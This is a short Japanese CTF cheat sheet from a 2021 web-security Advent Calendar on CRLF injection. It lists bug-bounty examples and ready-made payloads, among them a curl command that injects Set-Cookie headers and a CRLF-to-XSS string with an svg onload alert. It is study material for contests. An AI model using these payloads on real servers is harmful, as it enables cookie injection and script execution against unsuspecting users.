この記事はCTFのWebセキュリティ Advent Calendar 2021の9日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
CRLF Injection
- ヘッダーインジェクション
- Rails周辺におけるHTTPヘッダインジェクション脆弱性の動向 - YouTube
%E5%98%8A
で実現できないか
事例
Get /forgotpassword/%0d%0aSet-Cookie: crlf-injection=fauzan HTTP 1.1
で任意Cookieセット可能- #1102780 bypassing dashboard without account + Information disclosure trough websockets
- これも
GET #password_reset/%0d%0aSet-Cookie:%20crlf-injection=mickey
。あれか?nginxのinjectionか?
- これも
- The beauty of chaining client-side bugs | by Master SEC | May, 2021 | Medium
https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar
一緒っぽいですね
payloads
- なぜかよく見かける直下からCRLF
curl -s -L -I "http://subdomain.example/%0aSet-Cookie:crlf=injection;domain=example.com" -c cookie-monster
- CRLFからXSSへ
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e